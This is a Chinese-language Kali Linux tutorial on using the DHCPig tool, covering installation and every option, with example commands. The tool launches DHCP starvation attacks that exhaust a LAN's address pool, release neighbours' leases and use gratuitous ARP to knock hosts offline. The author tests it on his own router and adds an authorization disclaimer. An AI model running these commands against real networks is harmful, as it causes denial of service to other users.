当前位置: 首页 > web >正文

DHCPig:使用 scapy 网络库的 DHCP 耗尽脚本!全参数详细教程!Kali Linux教程!

简介

DHCPig 会发起高级 DHCP 耗尽攻击。它会耗尽 LAN 上的所有 IP 地址,阻止新用户获取 IP 地址,释放所有正在使用的 IP 地址,然后发送免费 ARP 数据包,使所有 Windows 主机下线。

执行该攻击需要 scapy >=2.1 库和管理员权限。无需配置,只需将接口作为参数传递即可。该攻击已在多个 Linux 发行版和多个 DHCP 服务器(ISC、Windows 2k3/2k8 等)上进行测试。

脚本执行后将执行以下操作:

  • 抢占邻居的 IP 地址
  • 如果检测到其他客户端的 DHCP 请求,则监听这些请求,并响应该请求。
  • 请求区域内所有可用的 IP 地址
  • 循环发送来自不同主机和 MAC 地址的 DHCP 请求
  • 查找邻居的 MAC 地址和 IP 地址,并从 DHCP 服务器释放其 IP 地址
  • 向该 LAN 上的所有邻居发送 ARP 请求,然后向服务器发送 DHCPReleases 消息

最后,脚本将等待 DHCP 耗尽(即 10 秒内未收到 DHCP OFFER),然后将所有 Windows 系统离线向 LAN 发送免费 ARP 请求,由于没有其他可用的 DHCP 地址,这些 Windows 系统应该保持离线状态。即使检测到 LAN 上的另一个系统具有相同的 IP 地址,Linux 系统也不会放弃 IP 地址。

协议

IPv4
        序列

  • ----> DHCP_DISCOVER
  • <---- DHCP_OFFER
  • ----> DHCP_REQUEST
  • <---- DHCP_REPLY (ACK/NACK)

DHCPd 监听检测(DHCPd 通常会检查 IP 是否正在使用)

  • 检查 ARP 监听
  • 检查 ICMP 监听

IPv6
        序列

  • ----> DHCP6_SOLICIT
  • <---- DHCP6_ADVERTISE
  • ----> DHCP6_REQUEST
  • <---- DHCP6_REPLY

DHCPd 监听检测(DHCPd 通常会检查 IP 是否正在使用)

  • 检查 ICMPv6 监听

安装

源码安装

通过以下命令来进行克隆项目源码,建议请先提前挂好代理进行克隆。

git clone https://github.com/kamorin/DHCPig.git

进入目录并查看

cd DHCPig/
ls

创建 python 虚拟环境并激活使用

python3 -m venv venv
source venv/bin/activate#退出激活虚拟空间的命令是
deactivate

安装必要的依赖库

pip3 install scapy

输入以下命令,如果出现这个界面,就说明安装成功了。

python3 pig.py -h

APT包管理器安装

Kali Linux 默认已经安装好 DHCPig 工具了。如果还未安装的话,也可以通过以下命令来进行安装。

sudo apt install dhcpig

使用

1. -h, --help

显示此帮助消息并退出

python3 pig.py --help

2. 常规使用

注意:要使用 root 权限才能运行。

使用 eth0 接口(eth0)用尽所有可用的 DHCP 地址

语法:python3 pig.py [options] <interface>options:选项
interface:网络接口python3 pig.py eth0

运行之后主机或其他电子设备无法自动获取 IP。说明 DHCP 池被耗尽。已连接的设备不受影响,后连接的设备是无法自动获取 IP 地址的。也就是连接不了网络。DHCPig 攻击的本质是伪造 MAC 地址不断请求 IPDHCP 服务器仍然认为这些是“真实客户”,不会立刻回收这些 IP

我使用我的安卓手机来连接上我的网络 TP-LINK_1102,经过测试一直卡在验证中。

要想恢复原状,让设备可以重新连接上网络的话,得等待租期自动过期。DHCP 有一个租期(Lease Time),比如 1 小时或 24 小时,超时后 IP 会自动释放。

这是我的路由器设备,它的地址租期是 120 分钟,也就是2小时后才能恢复原状。

还有一种方法是重启路由器设备。

3. -v, --verbosity

设置详细级别。可设置为:
0 ... 无 (3)
1 ... 最低
10 ... 默认
99 ... 调试

python3 pig.py -v 10 eth0

python3 pig.py -v 0 eth0

python3 pig.py -v 1 eth0

python3 pig.py -v 99 eth0

4. -6, --ipv6

DHCPv6(关闭,默认为 DHCPv4)

python3 pig.py --ipv6 eth0

5. -1, --v6-rapid-commit

启用 RapidCommit(双向 IP 分配,而非四向)(关闭)

python3 pig.py --v6-rapid-commit eth0

6. -s, --client-src

客户端 mac 地址列表 00:11:22:33:44:55,00:11:22:33:44:56(默认值:<random>)

python3 pig.py --client-src 00:11:22:33:44:55,00:11:22:33:44:56 eth0

7. -O, --request-options

要请求的选项代码例如21,22,23 或 12,14-19,23(默认值:0-80)

python3 pig.py --request-options 21,22,23 eth0

8. -f, --fuzz

随机模糊数据包(关闭)

python3 pig.py --fuzz eth0

9. -t, --threads

发送线程数 (1)

python3 pig.py --threads 10 eth0

10. -a, --show-arp

检测/打印 arp who_has(关闭)

python3 pig.py --show-arp eth0

11. -i, --show-icmp

检测/打印 icmps 请求(关闭)

python3 pig.py --show-icmp eth0

12. -o, --show-options

打印租约信息(关闭)

python3 pig.py --show-options eth0

13. -l, --show-lease-confirm

检测/打印 dhcp 回复(关闭)

python3 pig.py --show-lease-confirm eth0

14. -g, --neighbors-attack-garp

使用 grievious arps 攻击网络段(关闭)

python3 pig.py --neighbors-attack-garp eth0

15. -r, --neighbors-attack-release

释放所有邻居 IP(关闭)

python3 pig.py --neighbors-attack-release eth0

16. -n, --neighbors-scan-arp

arp 邻居扫描(关闭)

python3 pig.py --neighbors-scan-arp eth0

17. -x, --timeout-threads

线程生成计时器 (0.4)

python3 pig.py --timeout-threads 0.4 eth0

18. -y, --timeout-dos

DOS 超时 (8)(等待批量 grat.arp 的时间)

python3 pig.py --timeout-dos 8 eth0

19. -z, --timeout-dhcprequest

DHCP 请求超时 (2)

python3 pig.py --timeout-dhcprequest 2 eth0

20. -c, --color

启用彩色输出(关闭)

python3 pig.py --color eth0

总结

DHCPig 是一款专为局域网环境设计的 DHCP 攻击工具,它通过模拟大量虚假的 DHCP 请求,迅速耗尽服务器的可分配地址资源,达到拒绝服务的目的。该工具简单易用、效果显著,非常适合用于网络攻防演练和测试网络设备的抗压能力。在使用时应确保具备合法授权,避免对生产环境造成破坏。通过熟练掌握 DHCPig 的使用方式,安全研究人员可以更深入地理解局域网中 DHCP 协议的安全隐患,从而更有效地加强网络防御体系。

在此特别强调,本教程仅在合法授权的情况下进行测试和研究,请勿用于其他用途。未经授权使用此类工具可能会侵犯他人隐私,触犯相关法律,任何因此引发的法律或利益纠纷与本人无关。

欢迎各位大佬,小白来找我交流。

http://www.xdnf.cn/news/8972.html

相关文章:

  • 数据治理进阶:数据治理基础概念解释【附全文阅读】
  • sqli-labs第二十六关——Trick with commentspace
  • Python-numpy中常用的统计函数及转换函数
  • 通俗理解线性与非线性、时变与时不变系统,和数值不稳定性机制
  • 内存管理 : 03多级页表和快表
  • MCP 协议结合大模型使用浅讲
  • 【解读—论文】引导性掩码表示学习以捕捉心电图的时空关系
  • 2025/5/25 学习日记 linux进阶命令学习
  • ISO 20000体系:服务请求管理、问题管理、事件管理区别与联系
  • 基于云的内容中台核心优势是什么?
  • Threejs 物体碰撞检测
  • 58.在新建对话的空白页面添加一些引导性话语
  • 《仿盒马》app开发技术分享-- 地址管理页(端云一体)
  • TSC2007触摸驱动实验(一)
  • Java 8到Java 24:核心特性介绍
  • 动态工作空间:目标数据结构为源数据
  • FreeRTOS--消息队列
  • RocketMQ核心特性与最佳实践
  • 微前端qiankun - 应用之间的通信
  • 车载软件架构 -AUTOSAR Vector SIP简介
  • 线程池配置经验总结
  • 解决Visual Studio报“IntelliSense不可用,需设置TRACEDESIGNTIME = true“问题
  • 获取点击点所在区域所能容纳最大连续空白矩形面积及顶点坐标需求分析及相关解决方案
  • 【linux】全志tina分区表挂载的脚本路径
  • 绩效管理缺乏数据支持,如何提高客观性?
  • 【AI论文】QuickVideo:通过系统算法协同设计实现实时长视频理解
  • 《数据密集型应用系统设计》笔记
  • BAT32G113 发送互补PWM
  • 【位运算】比特位计数
  • 海外仓系统 选浩方WMS一款体验更好的海外仓管理系统